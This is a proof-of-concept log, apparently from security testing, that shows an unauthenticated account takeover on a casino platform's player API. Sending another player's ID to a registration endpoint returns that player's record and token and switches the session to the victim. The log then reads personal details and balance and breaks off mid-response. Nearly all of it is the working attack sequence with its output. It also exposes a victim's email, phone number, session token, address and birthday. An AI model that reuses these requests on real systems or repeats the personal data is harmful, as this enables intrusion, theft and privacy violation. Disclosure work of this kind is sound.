=== PoC (unauthenticated session) ===
STEP 0 GET /api/player/getPlayer  -> PlayerId=0 Email=''
STEP 1 POST /api/registration/registrationStepThird  PlayerId=10491882  (no auth)
       -> HTTP 200
       victim object returned:
         PlayerId         = 10491882
         Email            = 'lisalisawhite71@yahoo.co.uk'
         CellphoneNumber  = '7849237673'
         FirstName        = 'Zzxdwxrr'
         LastName         = 'Qqeadmim'
         WhiteLabelId     = 196
         Token            = 'ea49fbf5-5bf4-4172-8d89-6a10b52ad4e3'
         TokenExpire      = '2026-09-27T22:10:00'
         WhiteLabel.Name = 'Las Vegas Casino'
STEP 2 GET /api/player/getPlayer  -> PlayerId=10491882 Email='lisalisawhite71@yahoo.co.uk'  <-- SESSION IS NOW THE VICTIM
STEP 3 GET /api/player/getPlayerDetails -> {"PlayerId": 10491882, "Email": "lisalisawhite71@yahoo.co.uk", "FirstName": "Zzxdwxrr", "LastName": "Qqeadmim", "CellphoneNumber": "7849237673", "Address": "878 Test St", "City": "Leeds", "ZipCode": "LS1 1AA", "CountryId": 221, "Birthday": "1990-01-15T00:00:00"}
STEP 4 GET /api/player/getPlayerBalance -> 200 {"Response":{"AccountId":10181083,"PlayerId":0,"GameBalance":0,"WithdrawalBalance":0,"AccountBalance":0,"BonusBalance":0,"BonusBalanceSport":0,"PendingWithdrawa
